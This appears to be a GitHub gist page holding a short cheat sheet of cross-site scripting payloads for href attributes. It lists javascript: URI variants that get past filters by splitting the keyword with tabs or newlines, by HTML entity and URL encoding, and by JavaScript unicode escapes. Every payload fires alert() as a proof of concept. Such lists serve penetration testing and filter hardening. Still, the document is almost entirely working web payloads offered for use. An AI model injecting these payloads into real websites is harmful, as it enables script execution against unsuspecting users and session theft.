Last active
February 17, 2024 16:48
-
-
Save hackerscrolls/49b0a6edf955097fa8f92ddbf2eddbc9 to your computer and use it in GitHub Desktop.
XSS payloads for href
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!--javascript --> | |
ja	vascript:alert(1) | |
ja
vascript:alert(1) | |
ja
vascript:alert(1) | |
javascript:alert() | |
<!--::colon:: --> | |
javascript:alert() | |
javascript:alert() | |
javascript:alert(1) | |
javascript:alert() | |
<!-- alert --> | |
#HTML entities/encode: | |
javascript:alert() | |
javascript:alert`` | |
#url encoding: | |
javascript:alert%60%60 | |
javascript:x='%27-alert(1)-%27'; | |
javascript:%61%6c%65%72%74%28%29 | |
#JS unicode | |
javascript:a\u006Cert``" | |
javascript:\u0061\u006C\u0065\u0072\u0074`` |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment